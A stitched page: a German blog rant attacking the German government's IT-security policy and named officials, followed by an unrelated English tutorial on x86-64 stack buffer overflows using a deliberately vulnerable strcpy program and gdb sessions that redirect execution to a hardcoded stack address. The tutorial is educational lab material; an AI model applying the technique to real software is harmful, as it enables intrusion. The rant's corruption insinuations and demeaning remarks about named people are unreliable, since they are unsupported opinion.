  * Machen wir da gleich weiter: Um sicher zu programmieren braucht man entweder sehr viel Wissen und jahrelange Erfahrung – oder eine gute Ausbildung. Beides ist für die meisten Feld-, Wald- und Wiesenprogrammierer nicht verfügbar. In den mir bekannten einschlägigen Ausbildungsberufen kommt IT-Sicherheit nicht vor, und sogar im Informatik-Studium ist IT-Security nur an wenigen Unis als Schwerpunktfach verfügbar. Und die treiben eher Kryptographie und Beweistechniken als ordentliches Programmieren zu lehren. Jedenfalls hatte bisher keiner der Programmierer, denen ich in der Industrierealität begegnet bin und die ich dazu befragt habe, irgendeine Ausbildung oder Schulung in sicherem Programmieren.
  * Eines der hässlichsten Sicherheitsprobleme – weil es mich am meisten ärgert – ist das Dateiformat PDF von Adobe. 
Eigentlich wäre PDF genial. Eigentlich sehr gut. Eigentlich ein geschlossenes
System, aus dem es kein Ausbrechen gibt. Eigentlich eine Sache, für die man
ohne allzugroße Anstrengung wasserdichte Browser schreiben könnte. Eigentlich
könnte PDF ein Format sein, bei dem man alles, was man aus unsicheren Quellen
bekommt, bedenkenlos im Browser anzeigen könnte. Eigentlich.

Irgendwelche Marketing-Strategen \(oder andere Idioten\) bei Adobe waren aber
der Meinung – und das ist leider auch in vielen anderen Softwareprodukten so –
daß da noch Zusatzfunktionen rein müßten, um mehr Umsatz zu generieren. Also
hat man da noch jede Menge Firlefanz eingebaut, externe Zugriffe, JavaScript,
und so Zeugs alles, was diese schöne abgedichtete Umgebung wider alle Vernunft
durchlöchert hat.

Dazu kam, daß Adobe in letzter Zeit unglaublich schlecht programmiert. Deren
Programme \(wie der Acrobat Reader, aber auch die Flash-Animationen\) strotzen
vor Sicherheitslöchern und haben als Angriffsziel inzwischen Windows überholt.
PDF, das heißt dessen Formaterweiterungen und die Software außenrum, haben
sich vom genialen Dokumentformat zur Sicherheitskatastrophe entwickelt. So
sieht’s aus.

_Was aber, muß man nun fragen, soll ein Cyber-Abwehrzentrum daran ändern oder
verhindern?_

Die richtige Vorgehensweise wäre gewesen, auf Bundes- oder Europa-Ebene mal so
richtig strikt und rigoros ein Dateiformat für Dokumente zu definieren, das
für sich völlig abgedichtet ist und per se keine Interaktion außerhalb des
Dokumentes erlaubt. Könnte durchaus auch eine Untermenge des aktuellen PDF-
Formates sein. Und dieses Format gibt man verbindlich für Behörden und
Geschäftsverkehr vor, indem man u.a. die Definition frei verfügbar macht.

Dann muß man kostenlose Software allgemein zur Verfügung stellen. Eine
Software, die ein solches Dokument prüft, ob es diesem Standard entspricht.
Die beispielsweise das Herunterladen von Dokumenten oder den Empfang von
E-Mails blockieren \(oder davor warnen\) kann, wenn man etwas bekommt, was dem
nicht entspricht.

Und natürlich ein Anzeigeprogramm. Eins von der wasserdichten Sorte, wo dieser
ganze Firlefanz mit eingebettetem JavaScript nicht drin ist, und das so
programmiert ist, daß keine Pufferüberläufe und anderer Unbill passieren
können. Sowas wie der Acrobat Reader, nur in gut und reduziert auf das, was
nicht gefährlich ist. Und das für jeden zum freien Herunterladen, mit
Quelltext zum Durchlesen für die, die das nachlesen möchten.

Mit einem so profanen Schritt hätte man weit mehr Sicherheit erreicht, als mit
diesem fipsigen Cyber-Abwehrzentrum.

Bedenkt man allerdings, wie schwer sich die Bundesregierung schon mit der
Software für den Personalausweis tut, bei der in der Linux-Version gar 100
Megabyte samt Java-Umgebung notwendig waren, und wie schwerfällig
beispielsweise die Elster-Software für die Steuererklärung ist, sieht man sich
an, welchen Bockmist man bei Polizei- und Finanzamtsoftware baut, dann ist
fraglich, ob wir in Deutschland zu sowas überhaupt fähig wären. Die
Programmierlandschaft in Deutschland ist aufgrund schlechter Ausbildung eine
ziemlich armselige Sache. Und genau da müßte man anpacken.

Und so ähnlich sieht es dann auch mit anderen Softwareprodukten aus. Outlook
zum Beispiel. Oder Word. Oder Excel. Was habe ich in den Firmen schon für
Angriffe erlebt, wo man den Leuten einfach eine Mail zusandte und die
unbedarft draufklickten. Und sich im günstigsten Fall nur ScareWare
einhandelten. Wie kann es passieren, daß ein so hundsmiserables und löchriges
Mailprogramm wie Outlook zum De-facto-Firmenstandard wird? Auch hier müßte man
die Software von ihrer Funktion und ihrer Programmierqualität so abdichten,
daß man eigentlich bedenkenlos auf alles klicken kann, was reinkommt – weil
nur dann auch der unbedarfte Nutzer E-Mail nutzen kann. Stattdessen haben wir
Mailprogramme, die abstürzen, die jeden Mist ausführen, und die den Datentyp
an der Dateiendung festmachen, die sie nicht mal anzeigen.

Wer IT-Sicherheit haben will, der muß hier mal ganz klare Anforderungen an
Mailverkehr stellen und definieren, was ein Mailprogramm tun und lassen soll.
Und dann Software dazu anbieten oder von Herstellern die Einhaltung verlangen.
Was aber soll ein „Cyber-Abwehrzentrum” hier tun und ausrichten können?
Vielleicht Warnungen herumschicken? Hört mal Leute, da ist irgendein Chinese
unterwegs, der Euch unverdächtige Mails schickt, und wenn Ihr draufklickt
macht’s bumm? So vielleicht? Wie soll ein „Cyber-Abwehrzentrum” daran etwas
ändern?

Was sie dazu machen ist De-Mail. De-Mail verhindert keinen Angriff, sondern
unterwandert im Gegenteil sogar die End-zu-End-Verschlüsselung. Dafür ist es
kostenpflichtig und lagert die E-Mail an einen externen Dienstleister aus. Und
bringt absurde Rechtsfolgen mit sich. De-Mail ist so ein klassisches Beispiel
dafür, wie die Regierung IT-Sicherheit verspricht, dabei aber nur auf Kosten
des Bürgers einzelnen Unternehmen Umsätze zuschanzt. _Wie will eigentlich eine
Regierung, die schon das nicht auf die Reihe bekommt, ein Cyber-Abwehrzentrum
betreiben können, das Deutschland vor Angriffen schützt?_

  * Ein Riesenthema ist die Web-Sicherheit. Phishing und so Zeugs. 
Würde man das mal ordentlich angehen, dann würde man mal klar definieren, wie
eine sichere Webseite auszusehen hat. Daß da eben nicht HTTPS mit HTTP
gemischt wird. Daß da nicht die Inhalte und Skripte von allen möglichen
Domains zusammengegurkt werden. Daß man eindeutige Domains hat. Und daß ein
Domainname eine Rechtssicherheit hat und man feststellen kann, wer dahinter
steckt. Und dann beschreibt man, was Browser tun und lassen müssen, und wie
sie die Sicherheit einer Webseite zu prüfen haben. Und auch hier wieder aus
dem Browser den ganzen Schnickschnack und Blödsinn rauswerfen, der die
Sicherheitsprobleme erst mit sich bringt.

Da könnte man so viele nützliche Dinge tun, um die Macken zu beheben und die
Sicherheit drastisch anzuheben. Da könnte man richtige Fortschritte erzielen.
Aber dazu sind wir in Deutschland nicht befähigt. Das ist alles so ein
Arrangieren mit dem Gegebenen, so ein Vor-sich-hinmurksen, so ein Bedienen der
Vetternwirtschaft und der Pseudogeschäfte. Wir machen nicht IT-Sicherheit, wir
machen Umsatz. Und wir schieben Posten im Innenministerium und im BSI an
Parteisoldaten.

_IT-Beauftragte der Bundesregierung, sozusagen die deutsche IT-
Verantwortlichkeit Nummer eins ist Cornelia Rogall-Grothe, eine Juristin mit
Polit-Karriere aber ohne IT-Ausbildung. Schlimmstenfalls Postenschieberei und
Korruption, bestenfalls noch Quotenfrau in Zeiten, in denen das weibliche
Geschlecht per se als alles andere überragende Eigenqualifikation für alles
gilt. Wie aber könnte man einer Regierung, die solchen Schwachsinn treibt,
noch die Befähigung zutrauen, ein Cyber-Abwehrzentrum einzurichten oder uns
gar vor Angreifern zu schützen? Ich traue ihr das jedenfalls nicht zu._

  * Eines der am meisten diskutierten und publizierten Sicherheitsprobleme \(obwohl bei Licht betrachtet eigentlich gar kein Sicherheits-, sondern ein Datenschutz-, Rechts- und Dummenproblem\) ist Facebook. Nur mal so als Beispiel. Wir ach so gerne von Politikern herangezogen. Also nehmen wir es mal als hinkendes, aber konkretes Beispiel? 
Was macht man mit Facebook? Außer lamentieren, kapitulieren, hilflos mit den
Armen rudern? Internet darf kein rechtsfreier Raum sein und so?

Nichts tut man.

Man könnte mal eine europäische Alternative bauen, die die Datenschutzprobleme
löst. Macht man aber nicht. Stattdessen zeichnet die Verbraucherministerin
Aigner den größten anzunehmenden Fall von Internet- und Sicherheitsinkompetenz
\(ich präge dafür mal den Begriff GAI für Größte Anzunehmende Inkompetenz\),
den digitalen Radiergummi X-Pire, übles Machwerk deutscher
Universitätsschwätzer, als tolle Lösung aus, um mit Facebook und Co umzugehen.
Wer traut solcher Politik eigentlich noch zu, ein Cyber-Abwehrzentrum zu
bauen?

Man könnte auch mal den Amis auf den Schlips treten. Die wollen ja von uns ne
ganze Menge. Sie wollen Fluggastdaten, Finanztransaktionen und sowas. Sie
wollen, daß wir ihre Bits und Bytes in Form von schlechter Software, Musik und
gleichartigen Hollywood-Filmen zu Mondpreisen kaufen und ihnen hübsch das
Urheberrecht so zurechtbiegen, daß wir hier jeden 13-jährigen verfolgen, der
mal was tauscht. Weil den Amis ihr Urheber-Umsatz so wichtig ist. Das
Außenhandelsdefizit ist so hoch, daß sie zwangsläufig heiße Luft als Substanz
verkaufen müssen. Gut, sei ihnen gegönnt. Dann könnte man denen aber
entgegenhalten, hört mal, dafür sind uns Datenschutz und IT Sicherheit
wichtig. Und ab sofort werden wir Eure Urheberinteressen nicht besser schützen
als Ihr unsere Datenschutzinteressen. Betreibt Ihr Facebook so wie es ist,
dann darf man bei uns Windows und Kinofilme tauschen. Tit for tat. Ruckzuck
wäre das Problem gelöst. Tut man aber nicht. Kein Arsch in der Hose, keine
Regierungsfähigkeit im Kopf. _Wer traut dieser Regierung eigentlich zu, daß
sie die Lösung von Sicherheitsproblemen und die Aufdeckung von Angriffen, wenn
man sie denn mal entdeckt, überhaupt noch gegen USA, Russen, China oder wen
auch immer durchsetzt? Man muß sich doch mal das Geeier um den Libyen-Einsatz
ansehen. Traut man einem Guido Westerwelle oder wem auch immer zu, in andere
Länder zu gehen und zu sagen, wir haben da was entdeckt, Ihr benehmt Euch
nicht, das muß sofort aufhören?_

  * Ein wichtiger Ausgangspunkt für IT-Sicherheit wäre die Forschung im Hochschulbereich. Im wesentlichen ein Totalausfall. Die meisten derer, die sich dort als Sicherheitsexperten ausgeben, beherrschen das Fach nicht und sind selbsternannte Experten. Und befassen sich mit der massenhaften Produktion nutzloser Papers zu irrelevanten Themen. Je irrelevanter und praxisferner, desto geringer die Gefahr, widerlegt oder kritisiert zu werden. Wissenschaftler mögen das. 
Konkrete Fortschritte gibt es da aber nicht. Was hätten deutsche Informatik-
Wissenschaftler in den letzten Jahren von Bedeutung hervorgebracht? Von MP3
mal abgesehen?

Trotzdem bläst das Bundesforschungsministerium den Instituten einfach mal so,
ohne konkrete Anforderungen und in nicht nachvollziehbarer Weise \(dazu
schreibe ich in den nächsten Tagen was unter Forschungsmafia noch was\) das
Geld hinterher, nach dem Gießkannenprinzip. Nach dem alten Regierungsmotto IT-
Sicherheit ist, wenn der Umsatz stimmt.

Die Bundesregierung warnt ständig vor bösen Cyber-Kriegern aus bösen Ländern,
die gewalten Schaden anrichten könnten. Weitaus größeren Schaden richtet eine
Forschungsministerin Annette Schavan an, nur daß man vor der nicht offiziell
warnt.

Würde man den Geldregen vielleicht mal daran binden, daß die Wissenschaftler
nicht nutzlose Papers produzieren, sondern das, was man für IT-Sicherheit
tatsächlich braucht \(einiges habe ich ja oben erwähnt\) und vielleicht auch
daran, daß Geld nur an die vergeben wird, die eine echte Befähigung nachweisen
und nicht nur von irgendeiner Fakultät willkürlich zum Professor und zur
Koryphäe ernannt wurden, würde das Ergebnis ganz anders aussehen. Dann hätte
man nicht nur eine weitaus bessere IT-Sicherheitsgrundlage, sondern sogar
einen volkswirtschaftlichen Vorteil, einen Return of Invest für die
Forschungsgelder.

Eine wesentliche Voraussetzung für die Verbesserung der IT-Sicherheit in
Deutschland ist also – noch vor dem Bekämpfen ominöser Chinesischer
Wunderhacker – die Beseitigung der Annette Schavan. Denn die vergeudet das
Forschungspotential, für das wir Milliarden aus Steuergeldern verpulvern.

Würde man die Vergabe von Forschungsgeldern der Regierung an andere,
realitätsorientierte Kriterien binden, dann würden die Fakultäten, deren
einziges greifbares Auswahlkriterium für Berufungen nur noch die Menge der
eingeworbenen Drittmittel sind, sehr schnell ihre Berufungspraxis ändern.
Damit wären wir dann schon in 20 oder 30 Jahren – wenn alle die Professoren,
mit denen man die bisherigen Beamtenstellen in der IT-Sicherheit aufgefüllt
hat, emeritiert oder gestorben sind, eine Chance, befähigtes Personal in die
Forschungsstellen zu bekommen und zur Abwechslung mal nicht amerikanische
Produkte zu konsumieren, sondern selbst was zu entwickeln.

Wie man nun meinen Ausführungen vielleicht etwas angemerkt hat, traue ich
dieser Regierung einfach nicht \(mehr\) zu, weder fachlich noch charakterlich,
IT-Sicherheit ernsthaft herzustellen. Das BSI hat angeblich so um die 600
Leute, und bekommt wenig bis nichts auf die Reihe. Können sie auch nicht, wenn
man bedenkt, unter welchem politischen Einfluß sie stehen. Wenn die aber schon
nichts hinkriegen, was soll dann ein Cyber-Abwehrzentrum erreichen können, das
aus einer 10-Mann-Abordnung des BSI besteht? Weniger als nichts?

Das alles macht auf mich den Eindruck einer Alibi-Veranstaltung. Ich weiß, was
meiner Meinung nach notwendig wäre, um die IT Sicherheit deutlich und auf ein
erträgliches Maß zu verbessern. Ich bin aber auch der Meinung, daß wir in
Deutschland aus politischen und hochschulpolitischen Gründen nicht die Leute
haben, die dazu befähigt wären. Platt gesagt, sind wir zu doof um mehr zu
können, als den amerikanischen Massenmist zu konsumieren und immer wieder mal
darüber zu lamentieren wie über Street View. Wir haben jahrelang in Politik,
Behörden und Universitäten die falschen Leute eingepflanzt, und das Ergebnis
ist, daß wir mit denen keine Blumentopf mehr gewinnen. Würde man das Thema IT
Sicherheit ernsthaft angehen, käme das sehr schnell ans Licht. Vielleicht weiß
man das sogar und will es deshalb vermeiden. Und deshalb tut man nur so, als
würde man sich um das Thema kümmern.

# Brundle Lab | The result could be different as expected
**Created:**| _5/20/2012 4:20:07 PM_  
---|---  
**Updated:**| _5/20/2012 4:20:07 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials x64_  
  

## x86-64 Exploitation 101. A comparative primer.

Posted by carlos on 29/04/2012 No comments

… or what a cool name for such a small thing

## **tl;dr**

I thought that since every single CPU being sold in the last few years is 64
bits, it’s time to start getting familiar with it. Being on the offensive side
of the fence I would like to check out how the change to 64 bits affects
binary exploitation as we know it.

## **Disclaimer**

**** This is by no means a complete discussion, just the result of a couple of
days trying to satisfy my curiosity on the _internets_. It’s assumed you are
familiar with basic x86 assembler and more or less with binary exploitation.

## **Intro**

In order to start from scratch I’ll check the differences between x86 and
x86-64 \(relevant to this topic\) and compare how a simple vulnerable program
written in C translates to both instruction sets. There will be some “minor”
differences which affect the way we have to approach the problem. I’ll mention
this along the way in order of appearance.

## **Vanilla stack based buffer overflow**

\*yawn\*

Well, I know this is boring but you have to start from the beginning, don’t
you think? :\)

Let’s review really fast what happens during a _regular_ stack based buffer
overflow, shall we?

Below a typical buffer overflow example. We call a function with a fixed size
buffer allocated on the stack, the strcpy function writes beyond its
boundaries and overwrites other system control parameters stored on the stack,
among them the value of the stored EIP register. This will be loaded on the
EIP register after the function ends and used to determine the address of the
instruction the CPU is going to execute next.

> root@yomama\[~/code\]  
>  \[15:03\]:cat b0f.c  
>  \#include <string.h>
> void  
>  boom\(char \*str\)  
>  \{  
>  char buffer\[128\];  
>  strcpy\(buffer, str\); // The horror…  
>  \}
> int  
>  main\(int argc, char \*argv\[\]\)  
>  \{  
>  boom\(argv\[1\]\);  
>  return 0;  
>  \}
Just to make the discussion more straightforward I’m going to compile without
stack protection, DEP, ASLR this time.

“ _Small moves Ellie, small moves”_ \(10 geek points if you recognize the
movie reference without googling :\)\)

> root@yomama\[~/code\]\[15:02\]:gcc -o b0f-32 -O2 -fno-stack-protector
> -D\_FORTIFY\_SOURCE=0 b0f.c  
>  root@yomama\[~/code\]\[15:02\]:file b0f-32
> b0f-32: ELF **32-bit** LSB executable,**Intel 80386** , version 1 \(SYSV\),
> for GNU/Linux 2.6.15, dynamically linked \(uses shared libs\), not stripped
So we are set. Let’s run the program inside a debugger.

> root@yomama\[~/code\]  
>  \[15:05\]:gdb -q ./b0f-32  
>  \(no debugging symbols found\)  
>  \(gdb\) set disassembly-flavor intel  
>  \(gdb\) disassemble main  
>  Dump of assembler code for function main:  
>  0x080483e1 : lea ecx,\[esp+0x4\]  
>  0x080483e5 : and esp,0xfffffff0  
>  0x080483e8 : push DWORD PTR \[ecx-0x4\]  
>  0x080483eb : push ebp  
>  0x080483ec : mov ebp,esp  
>  0x080483ee : push ecx  
>  0x080483ef : sub esp,0×4  
>  0x080483f2 : mov eax,DWORD PTR \[ecx+0x4\]  
>  0x080483f5 : add eax,0×4  
>  0x080483f8 : mov eax,DWORD PTR \[eax\]  
>  0x080483fa : mov DWORD PTR \[esp\],eax  
>  **0x080483fd : call 0x80483c4**  
>  0×08048402 : mov eax,0×0  
>  0×08048407 : add esp,0×4  
>  0x0804840a : pop ecx  
>  0x0804840b : pop ebp  
>  0x0804840c : lea esp,\[ecx-0x4\]  
>  0x0804840f : ret  
>  End of assembler dump.  
>  \(gdb\) disassemble boom  
>  Dump of assembler code for function boom:  
>  0x080483c4 : push ebp  
>  0x080483c5 : mov ebp,esp  
>  0x080483c7 : sub esp,0×88  
>  0x080483cd : mov eax,DWORD PTR \[ebp+0x8\]  
>  0x080483d0 : mov DWORD PTR \[esp+0x4\],eax  
>  0x080483d4 : lea eax,\[ebp-0x80\]  
>  0x080483d7 : mov DWORD PTR \[esp\],eax  
>  0x080483da : call 0x80482f8  
>  **0x080483df : leave**  
>  0x080483e0 : ret  
>  End of assembler dump.  
>  \(gdb\) b \*0x080483fd  
>  Breakpoint 1 at 0x80483fd // breakpoint at CALL boom  
>  \(gdb\) b \*0x080483df  
>  Breakpoint 2 at 0x80483df // breakpoint after the infamous strcpy call
I’ll run it with a small argument first, that is, no buffer overflow will
happen.

> \(gdb\) r AAAAAA  
>  Starting program: /root/code/b0f-32 AAAAAA
> Breakpoint 1, 0x080483fd in main \(\)  
>  \(gdb\) x/8x $esp  
>  0xbf9d86e0: 0xbf9d8e26 0xbf9d8700 0xbf9d8778 0xb773abd6  
>  0xbf9d86f0: 0×08048420 0×00000000 0xbf9d8778 0xb773abd6
This is the breakpoint just before the CALL boom\(\) instruction is executed.
The top of the stack looks like above.  
We continue the execution and hit the breakpoint right after the strcpy call.

> Breakpoint 2, 0x080483df in boom \(\)  
>  \(gdb\) x/8x $esp  
>  0xbf9d8650: 0xbf9d8658 0xbf9d8e26 **0×41414141 0×00004141**  
>  0xbf9d8660: 0xb78b3ff4 0xbf9d8750 0xb78b4ab0 0xbf9d8724
Look at the top of the stack now \(remember we are inside boom\(\), so this is
actually another stack frame, distinct from the main\).  
You can identify the beginning of our buffer filled with the 6 A’s from the
argument.  
Note: the first two dwords you see before are the arguments for the strcpy
function itself, remember the breakpoint is at the leave instruction and they
haven’t been cleaned yet.

Now what about the bottom of the stack?  
You can recognize our previous “top of the stack” and the two new values:

0×08048402: pushed by the CALL instruction itself, the saved EIP value  
0xbf9d86e8: pushed by boom\(\) prologue, the saved value of EBP in order to
reconstruct the old stack frame after it returns.

> \(gdb\) x/8x $ebp  
>  0xbf9d86d8: 0xbf9d86e8 **0×08048402** 0xbf9d8e26 0xbf9d8700  
>  0xbf9d86e8: 0xbf9d8778 0xb773abd6 0×08048420 0×00000000
The important point here is that crucial values that determine execution flow
are on the stack and susceptible to be changed by an attacker.  
It’s a design flaw: user data and important system state information coexist
on the same memory space.

If I copy too much data beyond my buffer I mangled those values…

> \(gdb\) r $\(python -c ‘print “A” \* 200′\) // copy 200 A’s  
>  The program being debugged has been started already.  
>  Start it from the beginning? \(y or n\) y
> Starting program: /root/code/b0f-32 $\(python -c ‘print “A” \* 200′\)
The top of the stack before EIP is pushed.

> Breakpoint 1, 0x080483fd in main \(\)  
>  \(gdb\) x/8x $esp  
>  0xbfcc39c0: 0xbfcc3d64 0xbfcc39e0 0xbfcc3a58 0xb7751bd6  
>  0xbfcc39d0: 0×08048420 0×00000000 0xbfcc3a58 0xb7751bd6
After the strcpy function wrote all those A’s

> \(gdb\) c  
>  Continuing.
> Breakpoint 2, 0x080483df in boom \(\)  
>  \(gdb\) x/8x $esp  
>  0xbfcc3930: 0xbfcc3938 0xbfcc3d64 0×41414141 0×41414141  
>  0xbfcc3940: 0×41414141 0×41414141 0×41414141 0×41414141  
>  \(gdb\) x/8x $ebp  
>  0xbfcc39b8: 0×41414141 **0×41414141** 0×41414141 0×41414141  
>  0xbfcc39c8: 0×41414141 0×41414141 0×41414141 0×41414141
The saved EIP value \(bold above\) is now overwritten with 0×41414141. When
the CPU loads this into EIP and tries to resume execution…

> \(gdb\) c  
>  Continuing.
> Program received signal SIGSEGV, **Segmentation fault**.  
>  **0×41414141 in ?? \(\)**  
>  \(gdb\) info r  
>  eax 0xbfcc3938 -1077135048  
>  ecx 0×0 0  
>  edx 0xc9 201  
>  ebx 0xb7890ff4 -1215754252  
>  esp 0xbfcc39c0 0xbfcc39c0  
>  ebp 0×41414141 0×41414141  
>  esi 0×0 0  
>  edi 0×0 0  
>  **eip 0×41414141 0×41414141**  
>  eflags 0×10246 \[ PF ZF IF RF \]  
>  cs 0×73 115  
>  ss 0x7b 123  
>  ds 0x7b 123  
>  es 0x7b 123  
>  fs 0×0 0  
>  gs 0×33 51
Boom. Now the idea is “I can write bytes \(opcodes\) into memory. I can
control flow execution. I can tell the processor to go and execute my
opcodes”. Great.

# **Wake up. Now comes the 64 bit stuff.**

All this is very nice but you have seen it a million times, haven’t you?

Let’s compile the same code on a 64 bit machine.

> carlos@zarafa:~/c0de$ file b0f  
>  b0f: ELF **64-bit** LSB executable, **x86-64,** version 1 \(SYSV\),
> dynamically linked \(uses shared libs\), for GNU/Linux 2.6.15, not stripped
Let’s check out the assembly GCC generated from that code.

> carlos@zarafa:~/c0de$ gdb -q ./b0f  
>  \(gdb\) set disassembly-flavor intel  
>  \(gdb\) disassemble main  
>  Dump of assembler code for function main:  
>  0×0000000000400570 <+0>: sub rsp,0×8  
>  0×0000000000400574 <+4>: mov rdi,QWORD PTR \[rsi+0x8\]  
>  0×0000000000400578 <+8>: call 0×400550  
>  0x000000000040057d <+13>: xor eax,eax  
>  0x000000000040057f <+15>: add rsp,0×8  
>  0×0000000000400583 <+19>: ret  
>  End of assembler dump.  
>  \(gdb\) disassemble boom  
>  Dump of assembler code for function boom:  
>  0×0000000000400550 <+0>: sub rsp,0×88  
>  0×0000000000400557 <+7>: mov rsi,rdi  
>  0x000000000040055a <+10>: mov edx,0×80  
>  0x000000000040055f <+15>: mov rdi,rsp  
>  0×0000000000400562 <+18>: call 0×400450 <\_\_strcpy\_chk@plt>  
>  0×0000000000400567 <+23>: add rsp,0×88  
>  0x000000000040056e <+30>: ret  
>  End of assembler dump.
There are some obvious differences:

  * Generated **code is smaller**
  * Look at the **size of those addresses**\!
  * **Registers’ names** look funny
  * The QWORD reserved word

and some other not so obvious differences:

  * Wait. **Where are the function arguments being pushed?**
  * Where is the **stack frame** generation?

The well known E\* registers \(EAX, EBX, etc.\) have been extended to 64 bits
\(though\!\) and they are named R\* now \(RAX, RBX, etc.\) As with the
transition from 16 bits to 32 the lower bits can be accessed through the old
names, that is, EAX is the lower 32 bits of RAX, etc.

But more relevant for exploit development is the fact that in such a huge
address range the code will be located at addresses of the form
0x00000000xxxxxxxx. This is going to be a problem for example in string based
overflows. Null bytes always run the party but as we know there are
workarounds for this annoyance.

However real changes on the architecture will probably have a higher impact on
the way we write exploits.

For example, two related changes:

Did you notice the **missing function prologue**? Since the function uses the
stack to store local variables it moves RSP to allocate some space for it but
the bottom stack pointer \(here it would be RBP\) hasn’t been pushed into the
stack.  
It turns out that **in x86-64 there is no such thing as bottom stack
pointer**.  
And what about pushing the arguments’ address into the stack before a CALL?  
In x86-64 the **arguments**\(pointers and integers\) are **passed to the
function via registers** , reducing this way the number of memory accesses and
resulting in a more efficient code.

I don’t like that either because the less important metadata on the stack the
less chance I have to use a bug to overwrite potentially important stuff. meh…

Anyway, EIP is being saved in the stack as usual so let’s try to exploit this
toy model.

First let’s check the offset I need in order to overwrite precisely the saved
EIP value.  
Since the function increments RSP in 0×88 and there’s no saved RBP looks like
136 bytes will do the trick.

> carlos@zarafa:~/c0de$ gdb -q ./b0f  
>  \(gdb\) set disassembly-flavor intel  
>  \(gdb\) disassemble boom  
>  Dump of assembler code for function boom:  
>  0×0000000000400530 <+0>: sub rsp,0×88  
>  0×0000000000400537 <+7>: mov rsi,rdi  
>  0x000000000040053a <+10>: mov rdi,rsp  
>  0x000000000040053d <+13>: call 0×400428  
>  0×0000000000400542 <+18>: add rsp,0×88  
>  0×0000000000400549 <+25>: ret  
>  End of assembler dump.  
>  \(gdb\) b \*0×0000000000400530 // at the beginning of boom\(\)  
>  Breakpoint 1 at 0×400530  
>  \(gdb\) b \*0×0000000000400542 // right after strcpy  
>  Breakpoint 2 at 0×400542  
>  \(gdb\)**r $\(python -c ‘print “A” \* 136 + “BCD”‘\)**  
>  Starting program: /home/carlos/c0de/b0f $\(python -c ‘print “A” \* 136 +
> “BCD”‘\)
> Breakpoint 1, 0×0000000000400530 in boom \(\)  
>  \(gdb\) p $rsp  
>  $1 = \(void \*\) 0x7fffffffe5f8 // The saved EIP value is stored here  
>  \(gdb\) x/8x $rsp  
>  0x7fffffffe5f8: **0x0040055d 0×00000000** 0×00000000 0×00000000  
>  0x7fffffffe608: 0xf7a78c4d 0x00007fff 0×00000000 0×00000000  
>  \(gdb\) c  
>  Continuing.
> Breakpoint 2, 0×0000000000400542 in boom \(\)  
>  \(gdb\) p $rsp  
>  $2 = \(void \*\) 0x7fffffffe570 // The beginning of our payload  
>  \(gdb\) x/8x $rsp  
>  0x7fffffffe570: 0×41414141 0×41414141 0×41414141 0×41414141  
>  0x7fffffffe580: 0×41414141 0×41414141 0×41414141 0×41414141  
>  \(gdb\) x/8x 0x7fffffffe5f8 // **overwritten\!**  
>  0x7fffffffe5f8: **0×00444342** 0×00000000 0×00000000 0×00000000  
>  0x7fffffffe608: 0xf7a78c4d 0x00007fff 0×00000000 0×00000000
So we overwrote the EIP value. Neat.  
Now in x86 with an easy example like this \(no stack cookies, no DEP/ASLR\) we
would look for an address containing something like jmp esp, execute it and
land in our shellcode. However, in this really short code it’s not probable
that I will be able to find the required instruction.

So for this toy model I’m going to just hardcode the address of the top of the
stack.

Flamewars ahead, I know :\)

> \(gdb\) r $\(python -c ‘print “A” \* 136 + “\x70\xe5\xff\xff\xff\x7f”‘\)  
>  Breakpoint 1, 0×0000000000400530 in boom \(\) // at the very beginning of
> boom\(\)  
>  \(gdb\) x/8x $rsp // saved EIP value  
>  0x7fffffffe5f8: **0x0040055d 0×00000000** 0×00000000 0×00000000  
>  0x7fffffffe608: 0xf7a78c4d 0x00007fff 0×00000000 0×00000000  
>  \(gdb\) b \*0×0000000000400542  
>  Breakpoint 2 at 0×400542  
>  \(gdb\) c  
>  Continuing.
> Breakpoint 2, 0×0000000000400542 in boom \(\)  
>  \(gdb\) x/8x 0x7fffffffe5f8 // **overwritten\!**  
>  0x7fffffffe5f8: **0xffffe570** 0×00**007fff** 0×00000000 0×00000000  
>  0x7fffffffe608: 0xf7a78c4d 0x00007fff 0×00000000 0×00000000  
>  \(gdb\) x/8x 0x7fffffffe570 // showing my s  
>  0x7fffffffe570: 0×41414141 0×41414141 0×41414141 0×41414141  
>  0x7fffffffe5c8: 0×41414141 0×41414141 0×41414141 0×41414141  
>  \(gdb\) si // single step  
>  0×0000000000400549 in boom \(\) // This is the RET instruction at the end
> of boom\(\)  
>  \(gdb\) si // single step  
>  0x00007fffffffe570 in ?? \(\) // hmmmm…  
>  \(gdb\) info reg  
>  rax 0x7fffffffe570 140737488348528  
>  rbx 0×0 0  
>  rcx 0×0 0  
>  rdx 0x7fffffffe5fe 140737488348670  
>  rsi 0x7fffffffe9a0 140737488349600  
>  rdi 0x7fffffffe570 140737488348528  
>  rbp 0×0 0×0  
>  rsp 0x7fffffffe600 0x7fffffffe600  
>  r8 0xfefefefefefefeff -72340172838076673  
>  r9 0xffffffffffffff00 -256  
>  r10 0x7fffffffe310 140737488347920  
>  r11 0x7ffff7adcce0 140737348750560  
>  r12 0×400440 4195392  
>  r13 0x7fffffffe6e0 140737488348896  
>  r14 0×0 0  
>  r15 0×0 0  
>  **rip 0x7fffffffe570** 0x7fffffffe570 // execution is here  
>  eflags 0×202 \[ IF \]  
>  cs 0×33 51  
>  ss 0x2b 43  
>  ds 0×0 0  
>  es 0×0 0  
>  fs 0×0 0  
>  gs 0×0 0  
>  \(gdb\) si
> Program received signal SIGSEGV, Segmentation fault.  
>  0x00007fffffffe570 in ?? \(\)  
>  \(gdb\) **x/8x $rip**  
>  0x7fffffffe570: **0×41414141** 0×41414141 0×41414141 0×41414141  
>  0x7fffffffe5c8: 0×41414141 0×41414141 0×41414141 0×41414141
## Hey, what’s with the weird crash?

Hmmm… What has just happened? Everything looked fine, I was able to overwrite
the saved EIP value and redirect execution to my buffer. But it crashes when
trying to execute the first instruction…  
Damn, is there any kind of NX mechanism in place, marking the stack as non-
executable?

After inspecting my system, the NX bit isn’t activated and the binary hasn’t
been compiled with any other kind of stack execution prevention.

What about the instructions I’m trying to execute?

What does the opcode 0×41 \(or 0×4141\) mean **in x86-64**?

It turns out that while in x86 the opcode 0×41 corresponds to INC EAX and
therefore is some kind of NOP, suitable for a PoC or first sketch of your
exploit… in x86-64 is something completely different :\)

The bytes 0x4X don’t have any meaning by themselves but they are prefixes
necessary to address the 16 registers \(they weren’t necessary in x86, with
only 8 GPRs\)

NOTE: This difference in the opcode translation is leveraged in a very neat
trick in order to make your shellcode architecture independent. Read more
here.

Long story short, don’t use “A”s as junk when developing your exploit or it
will become somehow confusing with all those crashes :\)  
